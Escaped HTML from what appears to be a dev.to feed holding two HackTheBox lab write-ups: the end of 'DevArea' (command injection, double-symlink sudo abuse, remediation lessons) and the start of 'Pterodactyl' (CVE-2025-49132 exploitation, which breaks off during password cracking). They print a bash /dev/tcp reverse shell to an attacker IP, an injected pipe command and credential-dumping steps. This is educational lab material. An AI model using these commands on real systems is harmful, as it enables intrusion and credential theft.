&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;'\057opt\057syswatch\057logs\057evil\056log'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 3 — Verify the chain:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="s2"&gt;"session=&amp;lt;FORGED_COOKIE&amp;gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://127.0.0.1:7777/service-status &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"service=ssh | ls -la &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s2"&gt;
&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;'\057opt\057syswatch\057logs\057'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="c"&gt;# evil.log -&amp;gt; chain.log&lt;/span&gt;
&lt;span class="c"&gt;# chain.log -&amp;gt; /root/root.txt&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 4 — Read the root flag instantly via sudo:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Rather than waiting up to 5 minutes for the background timer, we invoke &lt;code&gt;syswatch.sh&lt;/code&gt; directly as root using the &lt;code&gt;logs&lt;/code&gt; subcommand:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; /opt/syswatch/syswatch.sh logs evil.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why this works immediately:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When &lt;code&gt;syswatch.sh logs evil.log&lt;/code&gt; runs, it calls the same &lt;code&gt;log_message()&lt;/code&gt; logic — but because we invoked it with &lt;code&gt;sudo&lt;/code&gt;, every file operation executes with full root privileges instantly. The security check inspects &lt;code&gt;evil.log&lt;/code&gt; and sees it points to &lt;code&gt;chain.log&lt;/code&gt;, a file inside the permitted logs directory. It passes. The script then executes &lt;code&gt;cat evil.log&lt;/code&gt;, which the kernel resolves recursively:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;evil.log → chain.log → /root/root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The root flag prints directly to your terminal — no timer, no waiting.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Root flag captured!&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  7. Attack Chain Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Step&lt;/th&gt;
&lt;th&gt;Technique&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Reconnaissance&lt;/td&gt;
&lt;td&gt;Nmap&lt;/td&gt;
&lt;td&gt;Identified FTP, SOAP service, Hoverfly&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Anonymous FTP&lt;/td&gt;
&lt;td&gt;Download employee-service.jar&lt;/td&gt;
&lt;td&gt;Access to application binary&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JAR Analysis&lt;/td&gt;
&lt;td&gt;jadx-gui decompilation&lt;/td&gt;
&lt;td&gt;Discovered Apache CXF SOAP endpoint&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2022-46364&lt;/td&gt;
&lt;td&gt;Apache CXF MTOM SSRF&lt;/td&gt;
&lt;td&gt;Arbitrary file read — no auth required&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Credential Extraction&lt;/td&gt;
&lt;td&gt;Read hoverfly.service&lt;/td&gt;
&lt;td&gt;Hoverfly dashboard credentials&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2025-54123&lt;/td&gt;
&lt;td&gt;Hoverfly middleware injection&lt;/td&gt;
&lt;td&gt;RCE as dev_ryan&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;User Flag&lt;/td&gt;
&lt;td&gt;Reverse shell&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/home/dev_ryan/user.txt&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Secret Leak&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/etc/syswatch.env&lt;/code&gt; world-readable&lt;/td&gt;
&lt;td&gt;Flask signing key exposed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Session Forgery&lt;/td&gt;
&lt;td&gt;Flask SecureCookieSession&lt;/td&gt;
&lt;td&gt;Admin access to internal web GUI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Command Injection&lt;/td&gt;
&lt;td&gt;Pipe `\&lt;/td&gt;
&lt;td&gt;` bypasses regex&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Double Symlink&lt;/td&gt;
&lt;td&gt;TOCTOU in log_message()&lt;/td&gt;
&lt;td&gt;Symlink chain set up via syswatch user&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sudo Bypass&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;syswatch.sh logs&lt;/code&gt; NOPASSWD rule&lt;/td&gt;
&lt;td&gt;Instant root read-through via sudo&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Root Flag&lt;/td&gt;
&lt;td&gt;Symlink read&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/root/root.txt&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  8. Key Vulnerabilities &amp;amp; Lessons
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. Anonymous FTP Enabled&lt;/strong&gt; — Never enable anonymous FTP on production servers. It exposed the application binary which revealed the entire attack surface.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. CVE-2022-46364 — Apache CXF SSRF (CVSS 9.8)&lt;/strong&gt; — Upgrade to CXF ≥3.5.5 / ≥3.4.10. The SSRF provided a file read primitive that unlocked the entire attack chain.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Credentials in Systemd Service Files&lt;/strong&gt; — Service files are world-readable by default. Never embed credentials directly — use systemd credential storage or a secrets manager.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Leaked Flask Secret Key&lt;/strong&gt; — &lt;code&gt;/etc/syswatch.env&lt;/code&gt; was readable by all users. A leaked signing key allows forging any Flask session cookie. Restrict env files: &lt;code&gt;chmod 600 /etc/syswatch.env&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. CVE-2025-54123 — Hoverfly Middleware Injection&lt;/strong&gt; — The middleware API accepted arbitrary binaries and scripts with no validation. Upgrade Hoverfly and restrict API access to trusted networks only.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6. Incomplete Regex with shell=True&lt;/strong&gt; — Denylisting injection characters always misses something — here it missed &lt;code&gt;|&lt;/code&gt;. Always use &lt;code&gt;subprocess.run(["systemctl", "status", service])&lt;/code&gt; with a list to avoid shell interpretation entirely.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;7. Double Symlink TOCTOU&lt;/strong&gt; — &lt;code&gt;[ -L "$logfile" ]&lt;/code&gt; resolves only one symlink level. Use &lt;code&gt;readlink -f&lt;/code&gt; to fully resolve paths and validate they stay within the intended directory before any write operation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;8. Overly Permissive Sudo Rule&lt;/strong&gt; — The &lt;code&gt;NOPASSWD&lt;/code&gt; rule for &lt;code&gt;syswatch.sh&lt;/code&gt; with a denylist approach (&lt;code&gt;!web-stop&lt;/code&gt;, &lt;code&gt;!web-restart&lt;/code&gt;) is inherently unsafe. Any subcommand not explicitly blocked — including &lt;code&gt;logs&lt;/code&gt; — is permitted as root. Sudo rules should use an allowlist, not a denylist.&lt;/p&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;DevArea demonstrates a realistic multi-stage attack chain where each vulnerability enables the next:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Anonymous FTP exposes the application binary&lt;/li&gt;
&lt;li&gt;Binary analysis reveals the technology stack&lt;/li&gt;
&lt;li&gt;Unauthenticated SSRF gives arbitrary file read&lt;/li&gt;
&lt;li&gt;File read exposes service credentials&lt;/li&gt;
&lt;li&gt;Outdated middleware with known RCE gives initial shell&lt;/li&gt;
&lt;li&gt;World-readable secrets enable authentication bypass&lt;/li&gt;
&lt;li&gt;Incomplete sanitization allows command injection&lt;/li&gt;
&lt;li&gt;A subtle symlink race condition combined with a permissive sudo rule leads to instant root&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every vulnerability here has been seen in real-world environments. Defense in depth — patching, least privilege, proper input handling — would have broken this chain at any link.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Have you solved DevArea? Drop your approach in the comments! Follow for more HackTheBox writeups and security research.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>hackthebox</category>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>webexploitation</category>
    </item>
    <item>
      <title>HackTheBox : Pterodactyl Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Sun, 19 Jul 2026 15:23:09 +0000</pubDate>
      <link>https://dev.to/exploitnotes/hackthebox-pterodactyl-writeup-pgf</link>
      <guid>https://dev.to/exploitnotes/hackthebox-pterodactyl-writeup-pgf</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;Pterodactyl is a Linux box built around an unauthenticated RCE in the Pterodactyl game-server management panel. A static "MonitorLand" landing page on port 80 gives no functionality of its own, but a leaked &lt;code&gt;changelog.txt&lt;/code&gt; discloses the exact panel version (v1.11.10) and backend stack (PHP-PEAR, MariaDB). Virtual host fuzzing turns up the actual panel at &lt;code&gt;panel.pterodactyl.htb&lt;/code&gt;, and the disclosed version maps directly to CVE-2025-49132 - an unauthenticated PHP object-deserialization RCE via the &lt;code&gt;/locales/locale.json&lt;/code&gt; endpoint, abusable through PHP-PEAR to gain code execution as &lt;code&gt;wwwrun&lt;/code&gt;. From there, the Laravel &lt;code&gt;.env&lt;/code&gt; file leaks MariaDB credentials, and dumping the &lt;code&gt;users&lt;/code&gt; table yields bcrypt password hashes; cracking one with &lt;code&gt;john&lt;/code&gt; recovers valid SSH credentials for &lt;code&gt;phileasfogg3&lt;/code&gt;, who owns the box's only real home directory - and the user flag.&lt;/p&gt;

&lt;p&gt;Privilege escalation chases a D-Bus/udisks/polkit trust chain surfaced during manual and automated enumeration. The direct route, CVE-2025-6019 (a libblockdev/udisks LPE), requires an &lt;code&gt;allow_active&lt;/code&gt; (physically-present) session, which an SSH session doesn't satisfy by default. Fingerprinting the OS (openSUSE Leap 15.6) leads to a second bug, CVE-2025-6018 (a PAM/&lt;code&gt;pam-config&lt;/code&gt; flaw), which promotes a plain SSH session to &lt;code&gt;allow_active&lt;/code&gt;. Chaining the two - first elevating the session's Polkit context, then using that context to trigger a SUID bash via a crafted XFS filesystem mount through &lt;code&gt;udisks&lt;/code&gt; - yields a root shell and the root flag.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key techniques:&lt;/strong&gt; information disclosure via leaked changelog -&amp;gt; vhost enumeration -&amp;gt; CVE-2025-49132 (Pterodactyl Panel unauthenticated RCE via PEAR-based deserialization) -&amp;gt; Laravel &lt;code&gt;.env&lt;/code&gt; credential disclosure -&amp;gt; MariaDB credential dump -&amp;gt; offline bcrypt cracking -&amp;gt; SSH foothold -&amp;gt; CVE-2025-6018 (PAM &lt;code&gt;allow_active&lt;/code&gt; session escalation) -&amp;gt; CVE-2025-6019 (libblockdev/udisks LPE via crafted XFS mount) -&amp;gt; SUID bash -&amp;gt; root.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. Reconnaissance
&lt;/h2&gt;

&lt;p&gt;An &lt;code&gt;nmap&lt;/code&gt; scan was run to identify open ports and services.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sCV&lt;/span&gt; &lt;span class="nt"&gt;-T4&lt;/span&gt; &lt;span class="nt"&gt;-A&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt; &lt;span class="nt"&gt;-o&lt;/span&gt; nmap-pterodactyl

Starting Nmap 7.95 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2026-02-09 07:01 EST
Nmap scan report &lt;span class="k"&gt;for &lt;/span&gt;pterodactyl.htb &lt;span class="o"&gt;(&lt;/span&gt;&amp;lt;MACHINE-IP&amp;gt;&lt;span class="o"&gt;)&lt;/span&gt;
Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.22s latency&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
Not shown: 978 filtered tcp ports &lt;span class="o"&gt;(&lt;/span&gt;no-response&lt;span class="o"&gt;)&lt;/span&gt;, 18 filtered tcp ports &lt;span class="o"&gt;(&lt;/span&gt;admin-prohibited&lt;span class="o"&gt;)&lt;/span&gt;
PORT     STATE  SERVICE  VERSION
22/tcp   open   ssh      OpenSSH 9.6 &lt;span class="o"&gt;(&lt;/span&gt;protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
| ssh-hostkey:
|   256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 &lt;span class="o"&gt;(&lt;/span&gt;ECDSA&lt;span class="o"&gt;)&lt;/span&gt;
|_  256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc &lt;span class="o"&gt;(&lt;/span&gt;ED25519&lt;span class="o"&gt;)&lt;/span&gt;
80/tcp   open   http     nginx 1.21.5
|_http-title: &lt;span class="s2"&gt;"My Minecraft Server"&lt;/span&gt;
|_http-server-header: nginx/1.21.5
443/tcp  closed https
8080/tcp closed http-proxy
Aggressive OS guesses: Linux 5.0 - 5.14 &lt;span class="o"&gt;(&lt;/span&gt;98%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 4.15 - 5.19 &lt;span class="o"&gt;(&lt;/span&gt;94%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 2.6.32 - 3.13 &lt;span class="o"&gt;(&lt;/span&gt;93%&lt;span class="o"&gt;)&lt;/span&gt;
No exact OS matches &lt;span class="k"&gt;for &lt;/span&gt;host &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;test &lt;/span&gt;conditions non-ideal&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
Network Distance: 2 hops

TRACEROUTE &lt;span class="o"&gt;(&lt;/span&gt;using port 443/tcp&lt;span class="o"&gt;)&lt;/span&gt;
HOP RTT       ADDRESS
1   216.42 ms 10.10.14.1
2   210.40 ms pterodactyl.htb &lt;span class="o"&gt;(&lt;/span&gt;&amp;lt;MACHINE-IP&amp;gt;&lt;span class="o"&gt;)&lt;/span&gt;

Nmap &lt;span class="k"&gt;done&lt;/span&gt;: 1 IP address &lt;span class="o"&gt;(&lt;/span&gt;1 host up&lt;span class="o"&gt;)&lt;/span&gt; scanned &lt;span class="k"&gt;in &lt;/span&gt;34.08 seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two services are exposed:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;22/tcp - SSH&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;80/tcp - HTTP (nginx)&lt;/strong&gt;, titled "My Minecraft Server"&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;pterodactyl.htb&lt;/code&gt; was added to &lt;code&gt;/etc/hosts&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nano /etc/hosts
&amp;lt;MACHINE-IP&amp;gt; pterodactyl.htb panel.pterodactyl.htb
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  2. Web Enumeration
&lt;/h2&gt;

&lt;p&gt;The site itself is a static "MonitorLand" landing page for a Minecraft server community, with no interactive functionality:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxe14o02dqzar3mdmos2m.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxe14o02dqzar3mdmos2m.png" alt=" " width="799" height="399"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;While the page itself has nothing to exploit, it links out to &lt;code&gt;play.pterodactyl.htb&lt;/code&gt; and a changelog. Fetching &lt;code&gt;http://pterodactyl.htb/changelog.txt&lt;/code&gt; turned out to be far more useful than the page it was linked from:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MonitorLand - CHANGELOG.txt
========================================

Version 1.20.X

[Added] Main Website Deployment
-------------------------------
- Deployed the primary landing site for MonitorLand.
- Implemented homepage, and link for Minecraft server.
- Integrated site styling and dark-mode as primary.

[Linked] Subdomain Configuration
-------------------------------
- Added DNS and reverse proxy routing for play.pterodactyl.htb.
- Configured NGINX virtual host for subdomain forwarding.

[Installed] Pterodactyl Panel v1.11.10
-------------------------------
- Installed Pterodactyl Panel.
- Configured environment:
  - PHP with required extensions.
  - MariaDB 11.8.3 backend.

[Enhanced] PHP Capabilities
-------------------------------
- Enabled PHP-FPM for smoother website handling on all domains.
- Enabled PHP-PEAR for PHP package management.
- Added temporary PHP debugging via phpinfo()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This single file discloses the exact Pterodactyl Panel version (&lt;strong&gt;v1.11.10&lt;/strong&gt;), the database backend (&lt;strong&gt;MariaDB 11.8.3&lt;/strong&gt;), and - critically - that &lt;strong&gt;PHP-PEAR is enabled&lt;/strong&gt;. That combination significantly narrows the search for a version-specific vulnerability.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.1 Virtual Host Enumeration
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-u&lt;/span&gt; http://pterodactyl.htb &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"HOST: FUZZ.pterodactyl.htb"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt &lt;span class="nt"&gt;-mc&lt;/span&gt; 200

________________________________________________

 :: Method           : GET
 :: URL              : http://pterodactyl.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.pterodactyl.htb
 :: Follow redirects : &lt;span class="nb"&gt;false&lt;/span&gt;
 :: Calibration      : &lt;span class="nb"&gt;false&lt;/span&gt;
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
________________________________________________

panel                   &lt;span class="o"&gt;[&lt;/span&gt;Status: 200, Size: 1897, Words: 490, Lines: 36, Duration: 610ms]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;panel.pterodactyl.htb&lt;/code&gt; was added to &lt;code&gt;/etc/hosts&lt;/code&gt; and resolves to the Pterodactyl Panel login page.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Exploitation - CVE-2025-49132
&lt;/h2&gt;

&lt;p&gt;With the exact panel version in hand, research turned up a matching vulnerability: an unauthenticated LFI/RCE affecting Pterodactyl Panel.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CVE-2025-49132&lt;/strong&gt; abuses the &lt;code&gt;/locales/locale.json&lt;/code&gt; endpoint. By controlling the &lt;code&gt;locale&lt;/code&gt; and &lt;code&gt;namespace&lt;/code&gt; parameters, an attacker can include arbitrary files - which, combined with PHP-PEAR being enabled, leads to PHP object deserialization via PEAR, ultimately resulting in unauthenticated remote code execution.&lt;/p&gt;

&lt;p&gt;PoC used: &lt;a href="https://github.com/YoyoChaud/CVE-2025-49132" rel="noopener noreferrer"&gt;YoyoChaud/CVE-2025-49132&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A listener was started first:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-lnvp&lt;/span&gt; 4444
listening on &lt;span class="o"&gt;[&lt;/span&gt;any] 4444 ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then the exploit was run against the panel:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 exploit.py http://panel.pterodactyl.htb &lt;span class="nt"&gt;--pear-dir&lt;/span&gt; /usr/share/php/PEAR &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--rce-cmd&lt;/span&gt; &lt;span class="s2"&gt;"/bin/bash -i &amp;gt;&amp;amp; /dev/tcp/&amp;lt;ATTACKER-IP&amp;gt;/4444 0&amp;gt;&amp;amp;1"&lt;/span&gt;

  Pterodactyl Panel - Unauthenticated Exploit
  Targets: &amp;lt;&lt;span class="o"&gt;=&lt;/span&gt; 1.11.10 | Patched: 1.11.11
  Exploit By YoyoChaud

════════════════════════════════════════════════════════════
  VULNERABILITY CHECK
════════════════════════════════════════════════════════════
  &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Target: http://panel.pterodactyl.htb
  &lt;span class="o"&gt;[&lt;/span&gt;+] Endpoint accessible without &lt;span class="nb"&gt;hash &lt;/span&gt;parameter
  &lt;span class="o"&gt;[&lt;/span&gt;+] TARGET IS VULNERABLE

════════════════════════════════════════════════════════════
  RCE &lt;span class="o"&gt;(&lt;/span&gt;pearcmd&lt;span class="o"&gt;)&lt;/span&gt; - /bin/bash &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&amp;amp; /dev/tcp/&amp;lt;ATTACKER-IP&amp;gt;/4444 0&amp;gt;&amp;amp;1
════════════════════════════════════════════════════════════
  &lt;span class="o"&gt;[&lt;/span&gt;+] Output:
&lt;span class="o"&gt;(&lt;/span&gt;connection held - check your listener&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The listener catches a shell as &lt;code&gt;wwwrun&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-lnvp&lt;/span&gt; 4444
listening on &lt;span class="o"&gt;[&lt;/span&gt;any] 4444 ...
connect to &lt;span class="o"&gt;[&lt;/span&gt;&amp;lt;ATTACKER-IP&amp;gt;] from &lt;span class="o"&gt;(&lt;/span&gt;UNKNOWN&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&amp;lt;MACHINE-IP&amp;gt;] 60140
bash: cannot &lt;span class="nb"&gt;set &lt;/span&gt;terminal process group &lt;span class="o"&gt;(&lt;/span&gt;1214&lt;span class="o"&gt;)&lt;/span&gt;: Inappropriate ioctl &lt;span class="k"&gt;for &lt;/span&gt;device
bash: no job control &lt;span class="k"&gt;in &lt;/span&gt;this shell
wwwrun@pterodactyl:/var/www/pterodactyl/public&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.1 Stabilizing the Shell and Finding the User
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'import pty; pty.spawn("/bin/bash")'&lt;/span&gt;
&lt;span class="c"&gt;# Ctrl+Z to suspend, then on the attacker terminal:&lt;/span&gt;
&lt;span class="nb"&gt;stty &lt;/span&gt;raw &lt;span class="nt"&gt;-echo&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;fg
export &lt;/span&gt;&lt;span class="nv"&gt;TERM&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;xterm

&lt;span class="c"&gt;# Enumerate users&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/passwd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Of the accounts with &lt;code&gt;/bin/bash&lt;/code&gt; as their shell, only &lt;code&gt;phileasfogg3&lt;/code&gt; has an accessible home directory - making it the clear target for the next stage.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.2 User Flag
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wwwrun@pterodactyl:/var/www/pterodactyl/public&amp;gt; &lt;span class="nb"&gt;cat&lt;/span&gt; /home/phileasfogg3/user.txt
HTB&lt;span class="o"&gt;{&lt;/span&gt;REDACTED&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  4. Database Enumeration and Credential Cracking
&lt;/h2&gt;

&lt;p&gt;Laravel applications (which power the Pterodactyl Panel) store database credentials in a &lt;code&gt;.env&lt;/code&gt; file - a high-value target during post-exploitation.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Locate the .env file&lt;/span&gt;
find / &lt;span class="nt"&gt;-type&lt;/span&gt; f &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.env"&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class="c"&gt;# Read it for database credentials&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /path/to/.env
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This discloses the MariaDB username, password, and database name. With MariaDB (not MySQL) confirmed as the backend:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;mariadb &lt;span class="nt"&gt;-h&lt;/span&gt; 127.0.0.1 &lt;span class="nt"&gt;-u&lt;/span&gt; &amp;lt;DB_USER&amp;gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &amp;lt;DB_NAME&amp;gt;
&lt;span class="c"&gt;# Prompts for the password from .env&lt;/span&gt;

SHOW TABLES&lt;span class="p"&gt;;&lt;/span&gt;
DESCRIBE &lt;span class="nb"&gt;users&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
SELECT email, username, password FROM &lt;span class="nb"&gt;users&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This returns two bcrypt password hashes. Bcrypt hashes need to be cracked (not decrypted), so they were saved to a file and run through &lt;code&gt;john&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;john &lt;span class="nt"&gt;--wordlist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt hash.txt

Using default input encoding: UTF-8
